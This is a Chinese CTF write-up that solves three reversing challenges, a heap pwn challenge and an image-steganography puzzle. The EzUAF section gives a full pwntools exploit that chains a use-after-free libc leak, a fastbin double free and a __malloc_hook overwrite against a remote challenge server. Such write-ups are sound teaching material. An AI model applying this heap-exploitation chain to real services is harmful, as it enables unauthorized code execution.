古剑山WP——RE*3,PWN*1,Misc*1

Re

easyre

题目描述

输入 32 字节字符串,经过多层加密后与硬编码数据比较。

分析过程

程序对输入进行三层处理:

  1. Base64 编码first() 函数,将 24 字节输入编码为 32 字节
  2. RC4 加密crypt() 函数,密钥为 "flag{do_you_find_it_?}"
  3. 异或验证:与 0x90693F66 异或,若结果为正数再与 0x22222222 异或

关键数据

v12 = -1872737962;  // 0x90693F66
v6[0]  = -56045301;   v6[1]  = 1126325548;
v6[2]  = 1037697210;  v6[3]  = 2123048962;
v6[4]  = 1640073719;  v6[5]  = -454381817;
v6[6]  = -2146442625; v6[7]  = -691840689;
v6[8]  = 1448341866;  v6[9]  = 586039113;
v6[10] = -1321770811;

解密脚本

import base64

# Step 1: 逆向验证逻辑
v12 = -1872737962 & 0xFFFFFFFF  # 0x90693F66
v6_signed = [
    -56045301,  # v6[0]
    1126325548,  # v6[1]
    1037697210,  # v6[2]
    2123048962,  # v6[3]
    1640073719,  # v6[4]
    -454381817,  # v6[5]
    -2146442625,  # v6[6]
    -691840689,  # v6[7]
    1448341866,  # v6[8]
    586039113,  # v6[9]
    -1321770811,  # v6[10]
]


def to_signed32(val):
    val = val & 0xFFFFFFFF
    if val >= 0x80000000:
        return val - 0x100000000
    return val


def to_unsigned32(val):
    return val & 0xFFFFFFFF


destination_bytes = []
for target_signed in v6_signed:
    target = to_unsigned32(target_signed)

    # 逆向逻辑:
    # 正向:v7_after_xor_v12 = original ^ v12
    #       if (v7_after_xor_v12 > 0) v7_final = v7_after_xor_v12 ^ 0x22222222
    #       else v7_final = v7_after_xor_v12
    #       v7_final == target

    # 逆向方法1: 假设 v7_after_xor_v12 > 0,则 v7_after_xor_v12 = target ^ 0x22222222
    v7_try1 = target ^ 0x22222222
    # 逆向方法2: 假设 v7_after_xor_v12 <= 0,则 v7_after_xor_v12 = target
    v7_try2 = target

    # 验证哪个是正确的
    if to_signed32(v7_try1) > 0:
        v7_after_xor = v7_try1
    else:
        v7_after_xor = v7_try2

    # 还原 original: original = v7_after_xor ^ v12
    original = v7_after_xor ^ v12

    # 小端序转字节
    for j in range(4):
        destination_bytes.append((original >> (j * 8)) & 0xFF)

# 只取44字节 (11 * 4),但 base64 编码 32 字节输入应该是 44 字节,不对
# 重新检查:输入 32 字节,base64 后应该是 44 字节,但代码只比较了 11*4=44 字节,看起来对
# 但实际上 strlen(Destination) 决定循环次数

print(f"[*] Encrypted data ({len(destination_bytes)} bytes): {destination_bytes}")
print(f"[*] As string: {bytes(destination_bytes)}")


# Step 2: RC4 解密
def rc4(data, key):
    S = list(range(256))
    j = 0
    for i in range(256):
        j = (j + S[i] + key[i % len(key)]) % 256
        S[i], S[j] = S[j], S[i]

    i = j = 0
    result = []
    for byte in data:
        i = (i + 1) % 256
        j = (j + S[i]) % 256
        S[i], S[j] = S[j], S[i]
        result.append(byte ^ S[(S[i] + S[j]) % 256])

    return bytes(result)


key = b"flag{do_you_find_it_?}"
base64_data = rc4(bytes(destination_bytes), key)
print(f"[*] After RC4: {base64_data}")

# 检查是否是有效 base64
valid_b64 = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/="
is_valid = all(chr(b) in valid_b64 for b in base64_data)
print(f"[*] Valid Base64: {is_valid}")

if is_valid:
    flag = base64.b64decode(base64_data)
    print(f"[+] Flag: {flag.decode()}")
else:
    print("[!] 需要动态调试获取中间数据")

flag{eb3564f89sf45b24oac12db8ec}

veryez

题目描述

静态编译的程序,main 函数只读取输入,真正的验证逻辑在 .fini_array 的退出函数中。

分析过程

定位验证函数

// start 函数中第一个参数是 main
sub_405FD0(sub_4009AE, ...);  // sub_4009AE 是 main

// main 只读取输入
scanf("%s", &unk_6D1D70);

// 真正的验证在 .fini_array 中的 sub_400CCE

验证逻辑

  1. XOR 解密成功/失败提示字符串(与 5 异或)
  2. 检查 input[10:18] 是否为 "is_good}"
  3. 用 RC4 加密输入,密钥为 "is_good}"
  4. 检查加密结果是否匹配目标值

关键数据

// off_6CB090 指向 input+10
// 检查 input[10:18] == "is_good}"
cmp rdx, 0x7D646F6F675F7369  // "is_good}" 小端序

// RC4 加密后检查
target1 = 0x2F34ED427B495C01  // input[0:8] 加密后
target2 = 0x8B526A1E2EABAA4F  // input[8:16] 加密后

解密脚本

import struct

def rc4_init(key):
    S = list(range(256))
    j = 0
    for i in range(256):
        j = (j + S[i] + key[i % len(key)]) % 256
        S[i], S[j] = S[j], S[i]
    return S

def rc4_crypt(S, data):
    S = S.copy()
    result = bytearray()
    i = j = 0
    for byte in data:
        i = (i + 1) % 256
        j = (j + S[i]) % 256
        S[i], S[j] = S[j], S[i]
        k = S[(S[i] + S[j]) % 256]
        result.append(byte ^ k)
    return bytes(result)

# RC4 密钥是 "is_good}"
key = b"is_good}"

# 目标密文
target1 = struct.pack("<Q", 0x2F34ED427B495C01)  # 8 bytes
target2 = struct.pack("<Q", 0x8B526A1E2EABAA4F)  # 8 bytes

# 初始化 RC4
S = rc4_init(key)

# 解密(RC4 加密和解密相同)
ciphertext = target1 + target2  # 16 bytes
plaintext = rc4_crypt(S, ciphertext)

print(f"解密结果: {plaintext}")
print(f"Hex: {plaintext.hex()}")

# 完整 flag
# input[0:10] = plaintext 的前 10 字节
# input[10:18] = "is_good}"
flag = plaintext[:10] + b"is_good}"
print(f"Flag: {flag}")

flag{fini_is_good}

babyre

题目描述

虚拟机字节码逆向,程序实现栈式虚拟机执行字节码验证输入。

分析过程

关键函数识别

函数功能
sub_4013A0push – 压栈
sub_4013E0pop – 出栈
sub_401370halt – 退出
dword_40AC60PC – 程序计数器

指令集

Opcode功能
0x101ADD: push(pop() + pop())
0x102AND: push(pop() & pop())
0x103HALT: 退出程序
0x104PUSH: push(立即数)
0x201SUB: push(pop() - pop())
0x203JMP: 无条件跳转
0x301INC: push(pop() + 1)
0x303JZ: 栈顶为0则跳转
0x304LOAD: 从内存加载
0x305INPUT_STR: 读取字符串
0x402XOR: push(pop() ^ pop())
0x403JNZ: 栈顶非0则跳转
0x404STORE: 存储到内存
0x405PRINT_STR: 打印字符串
0x504LOAD_BYTE: 加载单字节

反汇编核心逻辑

INPUT_STR mem[0x18]     ; 读取输入
STORE mem[0], 0         ; i = 0

loop:
    PUSH 47
    LOAD mem[0]
    SUB                 ; 47 - i
    JZ success          ; if i == 47, success
    
    ; 验证: input[i] ^ key[i&7] == expected[i]
    LOAD_BYTE input[i]
    LOAD_BYTE key[i & 7]
    XOR
    LOAD_BYTE expected[i]
    SUB
    JNZ fail
    
    INC mem[0]          ; i++
    JMP loop

success: PRINT "OK!"
fail:    PRINT "Failed!"

关键数据

密钥 (0x408040): "virtualM" (8字节)

期望值 (0x408048, 47字节):
10 05 13 13 0E 51 5B 29 45 5E 44 42 47 53 5B 7A
47 51 16 4C 45 58 58 2F 12 29 43 12 47 03 0F 29
46 51 11 15 45 00 0F 2E 15 0B 47 15 44 02 11

解密脚本

# 密钥
key = b"virtualM"

# 期望值
expected = bytes([
    0x10, 0x05, 0x13, 0x13, 0x0E, 0x51, 0x5B, 0x29,
    0x45, 0x5E, 0x44, 0x42, 0x47, 0x53, 0x5B, 0x7A,
    0x47, 0x51, 0x16, 0x4C, 0x45, 0x58, 0x58, 0x2F,
    0x12, 0x29, 0x43, 0x12, 0x47, 0x03, 0x0F, 0x29,
    0x46, 0x51, 0x11, 0x15, 0x45, 0x00, 0x0F, 0x2E,
    0x15, 0x0B, 0x47, 0x15, 0x44, 0x02, 0x11
])

# 解密: flag[i] = expected[i] ^ key[i % 8]
flag = ""
for i in range(len(expected)):
    decrypted_char = expected[i] ^ key[i % 8]
    flag += chr(decrypted_char)

print(f"Flag: {flag}")
flag{07d3766227718d8094bd@1f2bcd08ca0acccb5a1c}

PWN

EzUAF

题目信息

  • 类型: Pwn – 堆利用
  • 保护: Partial RELRO, Canary, NX, No PIE
  • Libc: 2.23

程序分析

功能菜单

1. add    - 分配 note
2. delete - 释放 note
3. show   - 显示 note 内容
4. edit   - 编辑 note 内容
5. exit   - 退出

数据结构

// notes 数组在 0x6020E0
struct note {
    int size;       // 4 bytes
    int padding;    // 4 bytes
    char *content;  // 8 bytes (堆指针)
};
// 共 10 个 note (index 0-9)

后门函数

int backdoor() {
    return system("cat /flag");
}

地址:0x400886(无 PIE,地址固定)

漏洞分析

UAF (Use After Free)

int delete() {
    // ...
    free(*&notes[4 * num + 2]);  // 释放堆块
    notes[4 * num] = 0;          // 只清零 size
    // ❌ 指针未清空!notes[4*num+2] 仍指向已释放内存
}

delete() 后指针未置空,导致:

  • show() 可以泄露堆/libc 地址
  • edit() 无法使用(因为 size=0,read 读取 0 字节)

利用限制

由于 delete 会将 size 清零,edit 函数依赖 size 作为读取长度:

read(0, *&notes[4 * num + 2], notes[4 * num]);  // notes[4*num] = size = 0

因此 无法通过 UAF + edit 修改 freed chunk,需要用 Double Free

利用思路

攻击链

1. 泄露 libc 地址 (Unsorted Bin UAF)
2. Double Free 构造 fastbin 循环链表
3. Fastbin Attack 覆写 __malloc_hook
4. 触发 malloc 执行 backdoor

Step 1: 泄露 Libc

分配一个 unsorted bin 大小的 chunk(>= 0x80),释放后通过 UAF 泄露 main_arena+88 地址:

add(0, 0x80, b'A' * 8)
add(1, 0x20, b'barrier')  # 防止与 top chunk 合并
delete(0)
show(0)  # 泄露 main_arena+88

计算 libc 基址:

libc_base = leak_addr - 0x3c4b78  # libc 2.23 偏移
__malloc_hook = libc_base + 0x3c4b10

Step 2: Double Free

Libc 2.23 的 fastbin 没有严格的 double free 检查(只检查链表头),可以通过 A → B → A 绕过:

add(2, 0x68, b'C' * 8)
add(3, 0x68, b'D' * 8)

delete(2)
delete(3)
delete(2)  # fastbin: chunk2 → chunk3 → chunk2 (循环)

Step 3: Fastbin Attack

__malloc_hook - 0x23 处存在 0x7f 字节,可以伪造 fastbin chunk 的 size 字段:

fake_chunk = __malloc_hook - 0x23

add(4, 0x68, p64(fake_chunk))  # 写入 fake_chunk 地址到 chunk2->fd
# fastbin: chunk3 → chunk2 → fake_chunk

add(5, 0x68, b'E' * 8)  # 取出 chunk3
add(6, 0x68, b'F' * 8)  # 取出 chunk2
add(7, 0x68, b'G'*0x13 + p64(backdoor))  # 取出 fake_chunk,覆写 __malloc_hook

Step 4: 触发

再次调用 malloc 触发 __malloc_hook

add(8, 0x20, b'trigger')  # malloc() → __malloc_hook() → backdoor()

完整 Exploit

from pwn import *

context(arch='amd64', os='linux')

p = remote('47.107.139.41', 41881)

elf = ELF('./ezuaf')
libc = ELF('./libc.so.6')

backdoor = elf.sym['backdoor']

def add(idx, length, content):
    p.sendlineafter(b'your choice:', b'1')
    p.sendlineafter(b'index of the note:', str(idx).encode())
    p.sendlineafter(b'length of the note:', str(length).encode())
    p.sendafter(b'enter your note:', content)

def delete(idx):
    p.sendlineafter(b'your choice:', b'2')
    p.sendlineafter(b'enter index:', str(idx).encode())

def show(idx):
    p.sendlineafter(b'your choice:', b'3')
    p.sendlineafter(b'index of the note:', str(idx).encode())

# ========== Step 1: 泄露 libc ==========
add(0, 0x80, b'A' * 8)
add(1, 0x20, b'barrier')

delete(0)

show(0)
p.recvuntil(b'content of the note:')
leak = p.recvline().strip()
leak_addr = u64(leak.ljust(8, b'\x00'))

libc_base = leak_addr - 0x3c4b78
malloc_hook = libc_base + 0x3c4b10
log.success(f"libc_base: {hex(libc_base)}")
log.success(f"__malloc_hook: {hex(malloc_hook)}")

fake_chunk = malloc_hook - 0x23

# ========== Step 2: Double Free ==========
add(2, 0x68, b'C' * 8)
add(3, 0x68, b'D' * 8)

delete(2)
delete(3)
delete(2)  # double free

# ========== Step 3: Fastbin Attack ==========
add(4, 0x68, p64(fake_chunk))
add(5, 0x68, b'E' * 8)
add(6, 0x68, b'F' * 8)

payload = b'G' * 0x13 + p64(backdoor)
add(7, 0x68, payload)

# ========== Step 4: 触发 ==========
log.success("Triggering backdoor...")
p.sendlineafter(b'your choice:', b'1')
p.sendlineafter(b'index of the note:', b'8')
p.sendlineafter(b'length of the note:', b'32')

p.interactive()

利用流程图

┌────────────────────────────────────────────────────────────────┐
│  Step 1: Leak Libc                                             │
│  add(0, 0x80) → delete(0) → show(0) → leak main_arena+88       │
│  libc_base = leak - 0x3c4b78                                   │
├────────────────────────────────────────────────────────────────┤
│  Step 2: Double Free                                           │
│  add(2), add(3)                                                │
│  delete(2) → delete(3) → delete(2)                             │
│  fastbin[5]: chunk2 → chunk3 → chunk2 (循环)                    │
├────────────────────────────────────────────────────────────────┤
│  Step 3: Fastbin Attack                                        │
│  add(4, fake_chunk_addr) → 修改 chunk2->fd                      │
│  fastbin[5]: chunk3 → chunk2 → fake_chunk                      │
│                                                                │
│  add(5), add(6) → 消耗 chunk3, chunk2                           │
│  add(7, payload) → 获取 fake_chunk,覆写 __malloc_hook           │
├────────────────────────────────────────────────────────────────┤
│  Step 4: Trigger                                               │
│  add(8) → malloc() → __malloc_hook() → backdoor()              │
│                                      → system("cat /flag")     │
└────────────────────────────────────────────────────────────────┘
flag{27cb4f07-64d5-4ec4-a158-ebd08b2879b0}

Misc

水果

解题过程

Step 1:基础信息收集

首先对图片进行基本分析:

file shuiguo.jpg
shuiguo.jpg: JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 5460x2810, components 3
exiftool shuiguo.jpg

未发现明显异常信息。

Step 2:Binwalk 分析发现隐藏文件

使用 binwalk 检测是否有隐藏文件:

binwalk shuiguo.jpg
DECIMAL       HEXADECIMAL     DESCRIPTION
0             0x0             JPEG image data
4835865       0x49CA19        ZIP archive, file count: 1

发现图片末尾隐藏了一个 ZIP 压缩包!

Step 3:提取隐藏的 ZIP 文件

dd if=shuiguo.jpg of=secret.zip bs=1 skip=4835865
unzip secret.zip

解压得到 OurSecret.txt 文件,内容是 Base64 编码:

5L2g6L+Z6Iu55p6c5oCO5LmI6L+Z5LmI5aSnCuWkp+S4quWEv+aJjeWAvOmSseS9oOimgeS4jeimgQ...

Step 4:Base64 解码

echo "5L2g6L+Z6Iu55p6c5oCO5LmI6L+Z5LmI5aSnCuWkp+S4quWEv+aJjeWAvOmSseS9oOimgeS4jeimgQ..." | base64 -d

解码得到水果摊对话(这是后面解码用的映射表):

你这苹果怎么这么大
大个儿才值钱你要不要
这框子怎么这么硬
硬是因为新鲜你要软的还是烂的
这西瓜能吃吗看起来有点不熟
不熟的西瓜怎么可能你这就是等着吃甜的
你这柚子这么小
小巧的才好吃你要大个的还是好吃的
这橙子怎么这么酸
酸才是正宗的橙子你要是甜的去别家看
这香蕉有点弯
弯的香蕉更甜你不懂
你这梅子是不是有点硬
硬是因为新鲜吃着有口感
这葡萄怎么这么小
小的葡萄更浓缩甜味

Step 5:使用 OurSecret 工具提取隐藏数据

文件名 OurSecret.txt 暗示需要使用 OurSecret 隐写工具。

  1. 下载并打开 OurSecret 工具(Windows)
  2. 载入 shuiguo.jpg
  3. 使用密码 shuiguo(文件名)进行解密

得到隐藏内容:

你这柚子这么小
你这柚子这么小
你这柚子这么小
你这梨子是不是有点硬
你这柚子这么小
大个儿才值钱你要不要
你这柚子这么小
小巧的才好吃你要大个的还是好吃的
小巧的才好吃你要大个的还是好吃的
弯的香蕉更甜你不懂
...(共76行)

Step 6:分析映射关系

观察发现:

  • 隐藏内容由重复的句子组成
  • 每个句子对应一个十六进制字符
  • 映射关系来自 Base64 解码的对话(按出现顺序 0-f)

映射表

句子Hex
你这苹果怎么这么大0
大个儿才值钱你要不要1
硬是因为新鲜你要软的还是糯的3
这西瓜能吃吗看起来有点不熟4
不熟的西瓜怎么可能你这就是等着吃甜的5
你这柚子这么小6
小巧的才好吃你要大个的还是好吃的7
酸才是正宗的橙子你要是甜的去别家看9
弯的香蕉更甜你不懂b
你这梨子是不是有点硬c
硬是因为新鲜吃着有口感d
这桃子怎么这么硬e

使用 Python 脚本进行解码:

# 分析原始对话中提到的水果
original = """你这苹果怎么这么大
大个儿才值钱你要不要
这框子怎么这么硬
硬是因为新鲜你要软的还是烂的
这西瓜能吃吗看起来有点不熟
不熟的西瓜怎么可能你这就是等着吃甜的
你这柚子这么小
小巧的才好吃你要大个的还是好吃的
这橙子怎么这么酸
酸才是正宗的橙子你要是甜的去别家看
这香蕉有点弯
弯的香蕉更甜你不懂
你这梅子是不是有点硬
硬是因为新鲜吃着有口感
这葡萄怎么这么小
小的葡萄更浓缩甜味"""

# 水果出现顺序: 苹果、西瓜、柚子、橙子、香蕉、梅子、葡萄
# 可能按出现顺序编号 0-f

# 重新构建映射
mapping = {
    '你这苹果怎么这么大': '0',
    '大个儿才值钱你要不要': '1',
    '这框子怎么这么硬': '2',
    '硬是因为新鲜你要软的还是糯的': '3',  # 原文是"烂的",这里是"糯的"
    '这西瓜能吃吗看起来有点不熟': '4',
    '不熟的西瓜怎么可能你这就是等着吃甜的': '5',
    '你这柚子这么小': '6',
    '小巧的才好吃你要大个的还是好吃的': '7',
    '这橙子怎么这么酸': '8',
    '酸才是正宗的橙子你要是甜的去别家看': '9',
    '这香蕉有点弯': 'a',
    '弯的香蕉更甜你不懂': 'b',
    '你这梨子是不是有点硬': 'c',  # 梅子变梨子
    '硬是因为新鲜吃着有口感': 'd',
    '这葡萄怎么这么小': 'e',
    '小的葡萄更浓缩甜味': 'f',
    '这桃子怎么这么硬': 'e',  # 桃子可能是额外的
}

text = """你这柚子这么小
你这柚子这么小
你这柚子这么小
你这梨子是不是有点硬
你这柚子这么小
大个儿才值钱你要不要
你这柚子这么小
小巧的才好吃你要大个的还是好吃的
小巧的才好吃你要大个的还是好吃的
弯的香蕉更甜你不懂
硬是因为新鲜你要软的还是糯的
硬是因为新鲜你要软的还是糯的
你这柚子这么小
不熟的西瓜怎么可能你这就是等着吃甜的
硬是因为新鲜你要软的还是糯的
这桃子怎么这么硬
硬是因为新鲜你要软的还是糯的
不熟的西瓜怎么可能你这就是等着吃甜的
硬是因为新鲜你要软的还是糯的
酸才是正宗的橙子你要是甜的去别家看
硬是因为新鲜你要软的还是糯的
你这柚子这么小
硬是因为新鲜你要软的还是糯的
你这苹果怎么这么大
你这柚子这么小
大个儿才值钱你要不要
硬是因为新鲜你要软的还是糯的
小巧的才好吃你要大个的还是好吃的
硬是因为新鲜你要软的还是糯的
酸才是正宗的橙子你要是甜的去别家看
你这柚子这么小
这西瓜能吃吗看起来有点不熟
你这柚子这么小
这桃子怎么这么硬
你这柚子这么小
硬是因为新鲜你要软的还是糯的
硬是因为新鲜你要软的还是糯的
你这柚子这么小
硬是因为新鲜你要软的还是糯的
酸才是正宗的橙子你要是甜的去别家看
你这柚子这么小
这桃子怎么这么硬
硬是因为新鲜你要软的还是糯的
你这柚子这么小
硬是因为新鲜你要软的还是糯的
小巧的才好吃你要大个的还是好吃的
硬是因为新鲜你要软的还是糯的
这西瓜能吃吗看起来有点不熟
你这柚子这么小
硬是因为新鲜你要软的还是糯的
你这柚子这么小
这西瓜能吃吗看起来有点不熟
硬是因为新鲜你要软的还是糯的
这西瓜能吃吗看起来有点不熟
你这柚子这么小
不熟的西瓜怎么可能你这就是等着吃甜的
你这柚子这么小
硬是因为新鲜你要软的还是糯的
硬是因为新鲜你要软的还是糯的
你这柚子这么小
硬是因为新鲜你要软的还是糯的
小巧的才好吃你要大个的还是好吃的
你这柚子这么小
大个儿才值钱你要不要
硬是因为新鲜你要软的还是糯的
小巧的才好吃你要大个的还是好吃的
硬是因为新鲜你要软的还是糯的
这桃子怎么这么硬
你这柚子这么小
硬是因为新鲜你要软的还是糯的
硬是因为新鲜你要软的还是糯的
你这柚子这么小
硬是因为新鲜你要软的还是糯的
这桃子怎么这么硬
小巧的才好吃你要大个的还是好吃的
硬是因为新鲜吃着有口感"""

lines = text.strip().split('\n')

# 尝试不同的桃子映射
for peach in ['2', '4', '8', 'a', 'e', 'f']:
    mapping['这桃子怎么这么硬'] = peach
    hex_str = ''.join(mapping.get(line, '?') for line in lines)
    if '?' not in hex_str:
        try:
            result = bytes.fromhex(hex_str).decode('utf-8')
            print(f"桃子={peach}: {result}")
        except:
            pass

Step 7:解码得到 Flag:

flag{3e25960a79dbc69b674cd4ec67a72c62}

知识点总结

技术点说明
文件隐写图片末尾附加 ZIP 文件(binwalk 检测)
OurSecret 隐写Windows 隐写工具,需要密码提取
自定义编码句子 → 十六进制字符映射
Base64 解码获取映射表

工具清单

  • binwalk – 文件分析与提取
  • exiftool – 元数据分析
  • OurSecret – 隐写工具(Windows)
  • Python – 解码脚本

如文章存在学术性错误,请联系penetr4t10n@163.com指出
暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇